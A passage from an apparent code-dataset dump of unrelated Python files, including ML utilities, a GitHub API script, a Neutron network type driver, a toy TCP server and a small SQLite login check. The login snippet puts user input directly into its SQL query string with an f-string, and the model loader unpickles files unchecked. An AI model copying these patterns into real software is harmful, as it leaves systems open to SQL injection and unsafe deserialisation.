pred_r[np.newaxis, :], logit_r.transpose(1, 0)], 0))\n return proc_output\n\ndef process_accumulated_output_multi_testAUG(output, batch_size, nr_classes):\n #\n def uneven_seq_to_np(seq):\n item_count = batch_size * (len(seq) - 1) + len(seq[-1])\n cat_array = np.zeros((item_count,) + seq[0][0].shape, seq[0].dtype)\n # BUG: odd len even\n for idx in range(0, len(seq) - 1):\n cat_array[idx * batch_size:\n (idx + 1) * batch_size] = seq[idx]\n cat_array[(idx + 1) * batch_size:] = seq[-1]\n return cat_array\n\n proc_output = dict()\n true = uneven_seq_to_np(output['true'])\n # threshold then get accuracy\n if 'pred_c' in output.keys():\n pred_c = uneven_seq_to_np(output['pred_c'])\n acc_c = np.mean(pred_c == true)\n # confusion matrix\n conf_mat_c = confusion_matrix(true, pred_c, labels=np.arange(nr_classes))\n proc_output.update(acc_c=acc_c, conf_mat_c=conf_mat_c,)\n if 'pred_r' in output.keys():\n pred_r = uneven_seq_to_np(output['pred_r'])\n acc_r = np.mean(pred_r == true)\n # confusion matrix\n conf_mat_r = confusion_matrix(true, pred_r, labels=np.arange(nr_classes))\n proc_output.update(acc_r=acc_r, conf_mat_r=conf_mat_r)\n return proc_output\n\n\n####\ndef inference(engine, inferer, prefix, dataloader, info):\n \"\"\"\n inference measurement\n \"\"\"\n inferer.accumulator = {metric: [] for metric in info['metric_names']}\n inferer.run(dataloader)\n output_stat = process_accumulated_output_multi(inferer.accumulator,\n info['infer_batch_size'], info['nr_classes'])\n update_log(output_stat, engine.state.epoch, prefix, 'red',\n info['tfwriter'], info['json_file'], info['logging'])\n return\n\n\n####\ndef accumulate_outputs(engine):\n batch_output = engine.state.output\n for key, item in batch_output.items():\n engine.accumulator[key].extend([item])\n return\n\n\ndef accumulate_predict(pred_patch):\n unique, counts = np.unique(pred_patch.cpu(), return_counts=True)\n pred_count = dict(zip(unique, counts))\n patch_label = max(pred_count, key=pred_count.get)\n return patch_label\n","sub_path":"misc/train_ultils_validator.py","file_name":"train_ultils_validator.py","file_ext":"py","file_size_in_byte":13460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"276719485","text":"#!/usr/bin/python3\n\"\"\"Request commits via GitHub API\n\"\"\"\n\nimport requests\nfrom sys import argv\n\nif __name__ == '__main__':\n\n repo = argv[1]\n owner = argv[2]\n\n url = 'https://api.github.com/repos/{}/{}/\\\ncommits?per_page=10'.format(owner, repo)\n\n r = requests.get(url)\n\n r = r.json()\n\n for commit in r:\n print('{}: {}'.format(commit.get('sha'),\n commit.get('commit').get('author').get('name')))\n","sub_path":"0x11-python-network_1/100-github_commits.py","file_name":"100-github_commits.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"471122816","text":"import io\nimport os\nimport pickle\nimport zipfile\nimport pandas as pd\n\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.pipeline import Pipeline\n\n\nclass ModelDumper(object):\n \"\"\"Helper to persist a model using pickle.\n\n Parameters\n ----------\n estimator : estimator object\n An estimator object implementing `fit` and one of `decision_function`\n or `predict_proba`.\n \"\"\"\n\n def __init__(self, estimator):\n super(ModelDumper, self).__init__()\n self.estimator_ = estimator\n\n def dump(self, file):\n \"\"\"Persists model.\n\n Parameters\n ----------\n file : str or IOBase\n when str is given, file path is exepected\n \"\"\"\n if isinstance(file, str):\n f = open(file, 'wb')\n elif isinstance(file, io.IOBase):\n f = file\n else:\n raise Exception(\"Unexpected type.\")\n\n s = pickle.dumps(self.estimator_)\n\n f.write(s)\n\n f.close()\n\n\nclass ModelLoader(object):\n \"\"\"Helper to load a persisted a model using pickle.\n\n Attributes\n ----------\n estimator_ : loaded estimator\n Estimator loaded by method `load`.\n \"\"\"\n\n def __init__(self):\n super(ModelLoader, self).__init__()\n\n def load(self, file):\n \"\"\"Loads model.\n\n Parameters\n ----------\n file : str or IOBase\n when str is given, file path is exepected\n \"\"\"\n if isinstance(file, str):\n basefile, ext = os.path.splitext(file)\n\n if ext == '.zip':\n zf = zipfile.ZipFile(file, 'r')\n f = zf.open(zf.namelist()[0])\n else:\n f = open(file, 'rb')\n elif isinstance(file, io.IOBase):\n f = file\n else:\n raise Exception(\"Unexpected type.\")\n\n self.estimator_ = pickle.loads(f.read())\n\n f.close()\n\n return self.estimator_\n\n\ndef get_default_vars(func):\n func_args = func.__code__.co_varnames[:func.__code__.co_argcount]\n\n defaults_size = 0 if func.__defaults__ is None else len(func.__defaults__)\n\n return dict(zip(func_args[-defaults_size:], func.__defaults__))\n\n\ndef feature_importance(model, feature_names):\n\n if isinstance(model, GridSearchCV):\n model = model.best_estimator_\n\n if isinstance(model, Pipeline):\n model = model.steps[-1][-1]\n\n f_import = model.feature_importances_\n\n df_import = pd.DataFrame(\n list(zip(f_import, feature_names)),\n columns=['importance', 'feature']\n )\n\n df_import.sort_values('importance', inplace=True)\n df_import['feature'] = pd.Categorical(df_import['feature'],\n categories=df_import['feature'],\n ordered=True)\n\n return df_import\n","sub_path":"garson/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"372056369","text":"#!/usr/bin/env python3\n\nimport sys\nimport csv\nfrom pprint import pprint\nimport collections\nimport operator\n\nimport func\n\n\nINPUTFILE = './task08.input'\n\n\nclass Instruction():\n instructions = []\n\n def __init__(self, row):\n self.register_to_modify = row[0]\n self.action = row[1]\n self.action_value = int(row[2])\n # row[3] == if\n self.condition_register = row[4]\n self.condition_type = row[5]\n self.condition_value = int(row[6])\n\n self.instructions.append(self)\n\n def __repr__(self):\n return(\"{} {} {} if {} {} {}\".format(\n self.register_to_modify,\n self.action,\n self.action_value,\n self.condition_register,\n self.condition_type,\n self.condition_value\n ))\n\n @classmethod\n def solve(cls, registers):\n\n operators = {\n '>': (lambda x, y: x > y),\n '<': (lambda x, y: x < y),\n '<=': (lambda x, y: x <= y),\n '>=': (lambda x, y: x >= y),\n '==': (lambda x, y: x == y),\n '!=': (lambda x, y: x != y),\n 'inc': (lambda x, y: x + y),\n 'dec': (lambda x, y: x - y)\n }\n\n for instruction in cls.instructions:\n condition_check_value = registers[instruction.condition_register]\n\n if operators[instruction.condition_type](condition_check_value, instruction.condition_value):\n registers[instruction.register_to_modify] = operators[instruction.action](registers[instruction.register_to_modify], instruction.action_value)\n\n\n sort_registers = sorted(registers.items(), key=operator.itemgetter(1))\n pprint(sort_registers)\n max_register = sort_registers[-1][0]\n max_value = sort_registers[-1][1]\n print(\"register {}: {}\".format(max_register, max_value))\n\n\n\ndef main():\n\n with open(file=INPUTFILE, mode='r') as fileinput:\n reader = csv.reader(fileinput, delimiter=\" \")\n\n for row in reader:\n Instruction(row)\n\n # default i dicten er 0 (int)\n registers = collections.defaultdict(int)\n\n Instruction.solve(registers)\n #pprint(Instruction.instructions)\n\nif __name__ == '__main__':\n if len(sys.argv) == 2:\n INPUTFILE = sys.argv[1]\n main()\n","sub_path":"task08_a.py","file_name":"task08_a.py","file_ext":"py","file_size_in_byte":2290,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"107545784","text":"#函数create_str_to_txt(str_data, path_file_name)调用时需传入两个参数,第一个参数str_data用于接受写入的字符串,第二个参数path_file_name用于接受字符串要写入的目标文件\ndef create_str_to_txt(str_data,path_file_name):\n f1 = open(path_file_name, \"a+\")\n f1.write(str_data)\n f1.close()\n#将规范化关系人物网址.txt的所有元素按行存入列表list2中\nlist2 = []\nwith open('./网址信息_人物名称.txt') as f:\n for line in f:\n mid = line.split('\\t')\n for item in mid:\n list2.append(item)\npath_file_name = './去重最终版网址信息_人物名称.txt'\n#提取列表list2中关系人物百度百科链接的部分\nlinklist2 = []\nname2 = []\nj1 = 1\nwhile j1 < len(list2):\n linklist2.append(list2[j1])\n j1 += 2\n#提取列表list2中名字的部分\ni1 = 0\nwhile i1 < len(list2):\n name2.append(list2[i1])\n i1 += 2\n#对于所有三国人物以链接是否相同为标准进行去重,去重后加入去重最终版网址信息_人物名称.txt中\nwhole = []\nwhole = list(zip(name2, linklist2))\nall = []\nname = []\nfor item in whole:\n if not item[1] in all:\n str = \"\\t\".join([item[0], item[1]])\n print(str)\n all.append(item[1])\n name.append(item[0])\n create_str_to_txt(str,path_file_name)\n else:\n continue\n\n","sub_path":"src/人物网址去重.py","file_name":"人物网址去重.py","file_ext":"py","file_size_in_byte":1354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"192179520","text":"import inspect\nfrom functools import wraps\n\nfrom tdb.trace.tracer import Tracer\n\n\ndef trace(function=None, *,\n session_name=None,\n log_to_memory=False,\n repl_on_exception=False,\n included_modules: list[str] = None,\n **decorator_kws):\n caller_frame = inspect.currentframe().f_back\n module_name = inspect.getmodule(caller_frame).__name__\n\n if not included_modules:\n included_modules = [module_name]\n\n def decorator(fn):\n @wraps(fn)\n def wrapper(*args, **kws):\n with Tracer(\n session_name or f'{module_name}::{str(fn.__name__)}',\n included_modules=included_modules,\n repl_on_exception=repl_on_exception,\n log_to_memory=log_to_memory) as t:\n wrapper.trace_log = t.trace_log\n return fn(*args, **kws)\n\n return wrapper\n\n if callable(function):\n return decorator(function)\n else:\n return decorator\n","sub_path":"tdb/trace/trace_decorator.py","file_name":"trace_decorator.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"63066576","text":"# -*- coding: utf-8 -*-\n\"\"\"\nUtility/common code of library.\n\"\"\"\n\n__author__ = 'Grzegorz Latuszek, Michal Ernst, Marcin Usielski'\n__copyright__ = 'Copyright (C) 2018, Nokia'\n__email__ = 'grzegorz.latuszek@nokia.com, michal.ernst@nokia.com, marcin.usielski@nokia.com'\n\nimport copy\nimport datetime\nimport importlib\nimport logging\nimport re\n\nimport deepdiff\n\nif datetime.time not in deepdiff.diff.numbers:\n deepdiff.diff.numbers = deepdiff.diff.numbers + (datetime.time,)\n\ntry:\n import collections.abc as collections\nexcept ImportError:\n import collections\n\n\nclass ClassProperty(property):\n def __get__(self, cls, owner):\n return classmethod(self.fget).__get__(None, owner)()\n\n\ndef copy_list(src, deep_copy=False):\n \"\"\"\n Copies list, if None then returns empty list\n :param src: List to copy\n :param deep_copy: if False then shallow copy, if True then deep copy\n :return: Copied list\n \"\"\"\n if src is None:\n return list()\n if deep_copy:\n return copy.deepcopy(src)\n return list(src)\n\n\ndef copy_dict(src, deep_copy=False):\n \"\"\"\n Copies dict, if None then returns empty dict\n :param src: List to copy\n :param deep_copy: if False then shallow copy, if True then deep copy\n :return: Copied dict\n \"\"\"\n if src is None:\n return dict()\n if deep_copy:\n return copy.deepcopy(src)\n return dict(src)\n\n\ndef instance_id(instance):\n \"\"\"\n Return id of instance in hex form.\n Helps in logs/debugs/development troubleshooting.\n \"\"\"\n instance_id = hex(id(instance))[2:] # remove leading 0x\n return instance_id\n\n\ndef camel_case_to_lower_case_underscore(string):\n \"\"\"\n Split string by upper case letters.\n F.e. useful to convert camel case strings to underscore separated ones.\n @return words (list)\n \"\"\"\n words = []\n from_char_position = 0\n for current_char_position, char in enumerate(string):\n if char.isupper() and from_char_position < current_char_position:\n words.append(string[from_char_position:current_char_position].lower())\n from_char_position = current_char_position\n words.append(string[from_char_position:].lower())\n return '_'.join(words)\n\n\n_re_escape_codes = re.compile(r\"\\x1B\\[[0-?]*[ -/]*[@-~]\") # Regex to remove color codes from command output\n\n\ndef remove_escape_codes(line):\n \"\"\"\n :param line: line from terminal\n :return: line without terminal escape codes\n \"\"\"\n line = re.sub(_re_escape_codes, \"\", line)\n return line\n\n\ndef create_object_from_name(full_class_name, constructor_params):\n name_splitted = full_class_name.split('.')\n module_name = \".\".join(name_splitted[:-1])\n class_name = name_splitted[-1]\n\n imported_module = importlib.import_module(module_name)\n class_imported = getattr(imported_module, class_name)\n obj = class_imported(**constructor_params)\n return obj\n\n\ndef update_dict(target_dict, expand_dict):\n for key, value in expand_dict.items():\n if (key in target_dict and isinstance(target_dict[key], dict) and isinstance(expand_dict[key],\n collections.Mapping)):\n update_dict(target_dict[key], expand_dict[key])\n else:\n target_dict[key] = expand_dict[key]\n\n\ndef compare_objects(first_object, second_object, ignore_order=False, report_repetition=False, significant_digits=None,\n exclude_paths=None, exclude_types=None, verbose_level=2):\n \"\"\"\n Return difference between two objects.\n :param first_object: first object to compare\n :param second_object: second object to compare\n :param ignore_order: ignore difference in order\n :param report_repetition: report when is repetition\n :param significant_digits: use to properly compare numbers(float arithmetic error)\n :param exclude_paths: path which be excluded from comparison\n :param exclude_types: types which be excluded from comparison\n :param verbose_level: higher verbose level shows you more details - default 0.\n :return: difference between two objects\n \"\"\"\n if exclude_paths is None:\n exclude_paths = set()\n if exclude_types is None:\n exclude_types = set()\n\n diff = deepdiff.DeepDiff(first_object, second_object, ignore_order=ignore_order,\n report_repetition=report_repetition, significant_digits=significant_digits,\n exclude_paths=exclude_paths, exclude_types=exclude_types, verbose_level=verbose_level)\n return diff\n\n\nclass ForwardingHandler(logging.Handler):\n \"\"\"\n Take log record and pass it to target_logger\n \"\"\"\n\n def __init__(self, target_logger_name):\n super(ForwardingHandler, self).__init__(level=1)\n self.target_logger_name = target_logger_name\n self.target_logger = logging.getLogger('moler')\n\n def emit(self, record):\n \"\"\"\n Emit a record.\n\n Output the record to the target_logger, catering for rollover as described\n in doRollover().\n \"\"\"\n record.name = self.target_logger_name\n\n if (record.levelno == logging.INFO) or (record.levelname == \"INFO\"):\n record.levelno = logging.DEBUG\n record.levelname = \"DEBUG\"\n\n self.target_logger.handle(record)\n","sub_path":"moler/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":5318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"204879341","text":"__author__ = 'xy'\n\nimport socket\nimport threading\n\nbind_ip = '127.0.0.1'\nbind_port = 9999\n\n# 设置监听端口\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver.bind((bind_ip, bind_port))\n\n# 开始监听,设置最大连接数量为5\nserver.listen(5)\nprint(\"[*] Listening on %s:%d\" % (bind_ip, bind_port))\n\n\n# 客户处理线程\ndef handle_client(client_socket):\n # 接受客户端数据并打印出来\n requset = client_socket.recv(1024)\n print(\"[*] Received: %s\" % requset)\n # 返还客户端一个数据包\n client_socket.send(\"ACK!\")\n\n client_socket.close()\n\n\nwhile True:\n # 将客户端的socket对象保存到client,将信息细节保存到addr中\n client, addr = server.accept()\n\n print(client)\n print(addr)\n\n print(\"[*] Accepted connection from: %s:%d\" % (addr[0], addr[1]))\n\n # 以线程启动handle_client(client)\n client_handler = threading.Thread(target=handle_client, args=(client,))\n client_handler.start()\n","sub_path":"TCPserver.py","file_name":"TCPserver.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"246678381","text":"class K:\r\n def __init__(self, k):\r\n self.k = k\r\n\r\n # adding two objects\r\n def __add__(self, o):\r\n return self.k + o.k\r\nob1 = K(1)\r\nob2 = K(2)\r\nob3 = K(\"Geeks\")\r\nob4 = K(\"For\")\r\n\r\nprint(ob1 + ob2)\r\nprint(ob3 + ob4)","sub_path":"InnekePuspitasari/Overloading.py","file_name":"Overloading.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"218900101","text":"import sqlite3\nbanco = sqlite3.connect('banco_dados.db')\ncursor = banco.cursor()\n\ntry:\n cursor.execute(f\"SELECT * from conta WHERE login = '{login}' AND senha = '{senha}'\")\nexcept sqlite3.Error as erro:\n print(f'Digite a senha ou login Corretamente {erro}')\nbanco.commit()\nresultado = cursor.fetchall()\nif len(resultado) != 0:\n print(f'Olá {login}, Bem Vindo')\nelse:\n print('Digite a senha ou login corretamente')","sub_path":"SQLite/Pratica/ex002/login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"311900561","text":"import glob\nimport re\nfrom os.path import join\n\nfile_lists = glob.glob(join(\".\", \"file_indexer_folder\", \"*.txt\"))\n\ndic = dict()\n\nfor file_path in file_lists:\n with open(file_path, \"r+\") as f:\n data = f.read()\n r = re.compile(r\"\\w+\")\n\n extracted_data = r.findall(data)\n\n for d in extracted_data:\n if d not in dic:\n dic[d] = [file_path]\n else:\n dic[d].append(file_path)\n\nprint(dic)","sub_path":"preprocess_data/practice/file_indexer.py","file_name":"file_indexer.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"539067986","text":"# Copyright (c) 2017 Cisco Systems, Inc.\n# All Rights Reserved\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom networking_vpp import config_opts\nfrom networking_vpp import constants as nvpp_const\nfrom networking_vpp import exceptions as nvpp_exc\n\nfrom networking_vpp.compat import context as n_context\nfrom networking_vpp.compat import driver_api\nfrom networking_vpp.compat import n_exc\nfrom networking_vpp.db.models import GpeAllocation\n\nfrom neutron.db import api as db_api\nfrom neutron.plugins.ml2.drivers import helpers\nfrom oslo_config import cfg\nfrom oslo_log import log as logging\nfrom six import moves\n\nLOG = logging.getLogger(__name__)\n\n\nclass GpeTypeDriver(helpers.SegmentTypeDriver):\n \"\"\"A GPE network type driver.\n\n This class implements a type driver for tenant networks\n of type GPE. This driver is responsible for managing the\n VNI allocations and deallocations from a pool of VNIs.\n It enables overlay network connectivity between tenant\n instances using the GPE protocol.\n \"\"\"\n\n def __init__(self):\n super(GpeTypeDriver, self).__init__(GpeAllocation)\n self.initialize()\n\n def get_type(self):\n return nvpp_const.TYPE_GPE\n\n def initialize(self):\n try:\n config_opts.register_vpp_opts(cfg.CONF)\n gpe_vni_ranges = cfg.CONF.ml2_vpp.gpe_vni_ranges\n self.segmentation_key = next(iter(self.primary_keys))\n # A list of VNI tuples:(min_vni, max_vni) available for allocation\n self.gpe_ranges = []\n self.gpe_ranges.extend(self._parse_gpe_vni_ranges(gpe_vni_ranges))\n self.sync_allocations()\n except nvpp_exc.GpeVNIRangeError(vni_range=gpe_vni_ranges):\n LOG.exception(\"Failed to parse gpe_vni_ranges from config. \"\n \"Service terminated!\")\n raise SystemExit()\n\n def _parse_gpe_vni_ranges(self, gpe_vni_ranges):\n \"\"\"Parses a well formed GPE VNI range string.\n\n The GPE VNI ranges string is a comma-separated list of:\n : tuples that are available for tenant network\n allocation.\n It is set in the ml2_conf.ini file using the config option:\n gpe_vni_ranges = : (or)\n gpe_vni_ranges = :, :\n :param: gpe_vni_range: The GPE VNI range string to parse.\n :returns: A list of valid gpe_vni_range tuples\n \"\"\"\n vni_ranges = []\n # String format: gpe_vni_ranges = 2000:3000,4000:5000\n LOG.debug('GPE driver parsing vni ranges: %s', gpe_vni_ranges)\n for entry in gpe_vni_ranges:\n try:\n min_vni, max_vni = entry.strip().split(':')\n vni_range = int(min_vni.strip()), int(max_vni.strip())\n self._verify_gpe_vni(vni_range)\n vni_ranges.append(vni_range)\n except ValueError:\n raise nvpp_exc.GpeVNIRangeError(vni_range=gpe_vni_ranges)\n return vni_ranges\n\n def _verify_gpe_vni(self, vni_or_vni_range):\n \"\"\"Verify if the GPE VNI is valid.\n\n :param: vni_or_vni_range: An integer vni value or a tuple containing\n a vni_range value in the format (vni_min, vni_max).\n \"\"\"\n if isinstance(vni_or_vni_range, tuple):\n vnis = list(vni_or_vni_range)\n else:\n vnis = []\n vnis.append(vni_or_vni_range)\n for vni in vnis:\n if not (nvpp_const.MIN_GPE_VNI <= int(vni)\n <= nvpp_const.MAX_GPE_VNI):\n LOG.error(\"Invalid GPE VNI %s\", vni)\n raise ValueError\n\n @db_api.retry_db_errors\n def sync_allocations(self):\n \"\"\"Determine the currently allocatable GPE VNIs in the DB.\"\"\"\n\n LOG.debug('gpe_type-driver: Syncing DB VNI allocations')\n ctx = n_context.get_admin_context()\n session = ctx.session\n valid_gpe_vnis = set()\n for min_vni, max_vni in self.gpe_ranges:\n valid_gpe_vnis |= set(moves.range(min_vni, max_vni + 1))\n\n with session.begin(subtransactions=True):\n # Current VNI allocations in DB\n allocs = (session.query(self.model).with_lockmode(\n 'update').all())\n all_db_vnis = set([a.gpe_vni for a in allocs])\n # VNIs not in DB but newly added in the ML2 config\n missing_vnis = valid_gpe_vnis - all_db_vnis\n # Set of unallocated VNIs in the DB\n unallocated_vnis = set([a.gpe_vni for a in allocs if\n not a.allocated])\n # Remove unallocated VNIs from the DB that are invalid\n vnis_to_remove = unallocated_vnis - valid_gpe_vnis\n LOG.debug(\"gpe_type_driver: vnis to remove: %s\", vnis_to_remove)\n LOG.debug(\"gpe_type_driver: vnis to add: %s\", missing_vnis)\n # Remove any invalid VNIs\n for alloc in allocs:\n if alloc.gpe_vni in vnis_to_remove:\n session.delete(alloc)\n # Add the missing GPE VNIs to the DB\n for vni in sorted(missing_vnis):\n alloc = self.model(gpe_vni=vni, allocated=False)\n session.add(alloc)\n\n def is_partial_segment(self, segment):\n return segment.get(driver_api.SEGMENTATION_ID) is None\n\n def validate_provider_segment(self, segment):\n network_type = segment.get(driver_api.NETWORK_TYPE)\n segmentation_id = segment.get(driver_api.SEGMENTATION_ID)\n for key, value in segment.items():\n if value and key not in [driver_api.NETWORK_TYPE,\n driver_api.SEGMENTATION_ID]:\n msg = (_(\"%(key)s prohibited for %(gpe)s network\"),\n {'key': key,\n 'gpe': network_type})\n raise n_exc.InvalidInput(error_message=msg)\n self._verify_gpe_vni(segmentation_id)\n\n def reserve_provider_segment(self, session, segment):\n if self.is_partial_segment(segment):\n alloc = self.allocate_partially_specified_segment(session)\n if not alloc:\n raise n_exc.NoNetworkAvailable()\n else:\n segmentation_id = segment.get(driver_api.SEGMENTATION_ID)\n alloc = self.allocate_fully_specified_segment(\n session, **{self.segmentation_key: segmentation_id})\n if not alloc:\n raise nvpp_exc.GpeVNIInUse(vni_id=segmentation_id)\n\n return {driver_api.NETWORK_TYPE: self.get_type(),\n driver_api.PHYSICAL_NETWORK: None,\n driver_api.SEGMENTATION_ID: getattr(alloc,\n self.segmentation_key),\n driver_api.MTU: self.get_mtu()}\n\n def allocate_tenant_segment(self, session):\n alloc = self.allocate_partially_specified_segment(session)\n if not alloc:\n return\n return {driver_api.NETWORK_TYPE: self.get_type(),\n driver_api.PHYSICAL_NETWORK: None,\n driver_api.SEGMENTATION_ID: getattr(alloc,\n self.segmentation_key),\n driver_api.MTU: self.get_mtu()}\n\n def release_segment(self, context, segment):\n vni_id = segment[driver_api.SEGMENTATION_ID]\n LOG.debug('Releasing GPE segment %s', vni_id)\n valid = any(lo <= vni_id <= hi for lo, hi in self.gpe_ranges)\n\n info = {'type': self.get_type(), 'id': vni_id}\n with context.session.begin(subtransactions=True):\n query = (context.session.query(self.model).\n filter_by(**{self.segmentation_key: vni_id}))\n if valid:\n count = query.update({\"allocated\": False})\n if count:\n LOG.debug(\"Releasing %(type)s VNI %(id)s to pool\",\n info)\n else:\n count = query.delete()\n if count:\n LOG.debug(\"Releasing %(type)s VNI %(id)s outside pool\",\n info)\n if not count:\n LOG.warning(\"%(type)s VNI %(id)s not found\", info)\n\n def get_allocation(self, context, gpe_vni_id):\n return (context.session.query(self.model).\n filter_by(**{self.segmentation_key: gpe_vni_id}).first())\n\n def get_mtu(self, physical_network=None):\n mtu = super(GpeTypeDriver, self).get_mtu()\n return mtu - nvpp_const.GPE_ENCAP_OVERHEAD if mtu else 0\n","sub_path":"networking_vpp/types/type_gpe.py","file_name":"type_gpe.py","file_ext":"py","file_size_in_byte":9070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"270296643","text":"from __future__ import print_function\nfrom keras.datasets import mnist\nfrom keras.models import Sequential\nfrom keras.utils import np_utils, generic_utils\nfrom six.moves import range\nimport numpy as np\nimport scipy as sp\nfrom keras import backend as K \nimport random\nimport scipy.io\nfrom scipy.stats import mode\n# custom module for cnn model\nfrom cnn_architecture1 import *\n\nbatch_size = 128\nnb_classes = 10\n#use a large number of epochs\nnb_epoch = 50\n# input image dimensions\nimg_rows, img_cols = 28, 28\ninput_shape = (img_rows, img_cols, 1)\n\nacquisition_iterations = 98\nnum_of_queries = 10\n\n# the data, shuffled and split between tran and test sets\n(X_train_All, y_train_All), (X_test, y_test) = mnist.load_data()\n\nX_train_All = X_train_All.reshape(X_train_All.shape[0], img_rows, img_cols, 1)\nX_test = X_test.reshape(X_test.shape[0], img_rows, img_cols, 1)\n\nrandom_split = np.asarray(random.sample(range(0, X_train_All.shape[0]), X_train_All.shape[0]))\n\nX_train_All = X_train_All[random_split]\ny_train_All = y_train_All[random_split]\nX_Pool = X_train_All[20000:60000]\ny_Pool = y_train_All[20000:60000]\n\nX_train_All = X_train_All[0:10000]\ny_train_All = y_train_All[0:10000]\n\nX_train, y_train = np.array([], dtype=np.int64), np.array([], dtype=np.int64)\n\nfor index in range(10):\n idx = np.array(np.where(y_train_All==index)).T\n idx = idx[0:2, 0]\n X = X_train_All[idx, :, :, :]\n y = y_train_All[idx]\n \n X_train = np.concatenate((X_train, X), axis=0 ) if X_train.size else X\n y_train = np.concatenate((y_train, y), axis=0 ) if y_train.size else y\n\n\nprint('X_train shape:', X_train.shape)\nprint(X_train.shape[0], 'train samples')\n\nprint('Distribution of Training Classes:', np.bincount(y_train))\n\nX_train = X_train.astype('float32')\nX_test = X_test.astype('float32')\nX_Pool = X_Pool.astype('float32')\nX_train /= 255\nX_Pool /= 255\nX_test /= 255\n\nY_train = np_utils.to_categorical(y_train, nb_classes)\nY_test = np_utils.to_categorical(y_test, nb_classes)\nY_Pool = np_utils.to_categorical(y_Pool, nb_classes)\n\nmodel.fit(X_train, Y_train, batch_size=batch_size, epochs=nb_epoch, verbose=0)\n\nprint('Evaluating Test Accuracy Without Acquisition')\nscore, acc = model.evaluate(X_test, Y_test, verbose=0)\nall_accuracy = acc\n\nprint('Starting Active Learning in Experiment ')\n\n# Deterministic CNN\nfor i in range(acquisition_iterations):\n print('ACQUISITION ITERATION ' + str(i+1) + ' of ' + str(acquisition_iterations))\n\n pool_subset_count = 2000\n pool_subset_random_index = np.asarray(random.sample(range(0, X_Pool.shape[0]), pool_subset_count))\n X_Pool_subset = X_Pool[pool_subset_random_index]\n y_Pool_subset = y_Pool[pool_subset_random_index]\n\n print('Search over Pool of Unlabeled Data')\n \n # Var ratio active learning acquisition function\n D_probs = model.predict_proba(X_Pool_subset) \n acquired_index = np.argsort(np.max(D_probs, axis=1))[:num_of_queries]\n acquired_X = X_Pool_subset[acquired_index]\n acquired_Y = y_Pool_subset[acquired_index]\t\n\n # Remove the acquired data from the unlabeled Pool\n X_Pool = np.delete(X_Pool, (pool_subset_random_index[acquired_index]), axis=0)\n y_Pool = np.delete(y_Pool, (pool_subset_random_index[acquired_index]), axis=0)\n\n print('Acquired Points added to the training set')\n X_train = np.concatenate((X_train, acquired_X), axis=0)\n y_train = np.concatenate((y_train, acquired_Y), axis=0)\n print('Train Data size: ' + str(X_train.shape)) \n print('Unlabeled Pool size: ' + str(X_Pool.shape))\n\n print('Train Again with the added points')\n\n # convert class vectors to binary class matrices\n Y_train = np_utils.to_categorical(y_train, nb_classes)\n\n model.fit(X_train, Y_train, batch_size=batch_size, epochs=nb_epoch, verbose=0)\n \n print('Evaluate Model Test Accuracy after training')\n score, acc = model.evaluate(X_test, Y_test, verbose=0)\n # print('Test score:', score)\n print('Test accuracy:', acc)\n all_accuracy = np.append(all_accuracy, acc)\n print()\n\n\nprint('Storing Accuracy Values over experiments')\nnp.save('test_acc.npy', all_accuracy)\n","sub_path":"deterministic_cnn.py","file_name":"deterministic_cnn.py","file_ext":"py","file_size_in_byte":4086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"616655922","text":"import os\nimport sys\nimport json\nimport jinja2\nimport logging\nimport tempfile\nimport subprocess\nimport urllib.parse\n\nlogger = logging.getLogger(__name__)\n\n# javascript to pass to node and take a screen shot\nJS_TEMPLATE_FILE=os.path.join(os.path.dirname(__file__), 'screen.js')\n\ndef filename_from_url(url):\n u = urllib.parse.urlparse(url)\n host = u.netloc\n if ':' in host:\n host, port = host.split(':')\n else:\n if u.scheme.lower() == 'http':\n port = 80\n else:\n port = 443\n return '{}-{}-{}'.format(u.scheme, host, port).replace('/', '').replace('\\\\', '')\n\ndef build(url, timeout=5000, mobile=False, headers={}, screen_wait_ms=2000):\n js_h, js_tmp = tempfile.mkstemp(prefix='script.', suffix='.js', dir='.')\n os.close(js_h)\n\n img_h, img_tmp = tempfile.mkstemp(prefix=filename_from_url(url)+'.', suffix='.png', dir='.')\n os.close(img_h)\n\n inf_h, inf_tmp = tempfile.mkstemp(prefix='info.', suffix='.json', dir='.')\n os.close(inf_h)\n\n script = jinja2.Template(open(JS_TEMPLATE_FILE, 'rb').read().decode())\n rendered = script.render(\n url=url,\n image=img_tmp.replace('\\\\', '\\\\\\\\'),\n timeout=timeout,\n 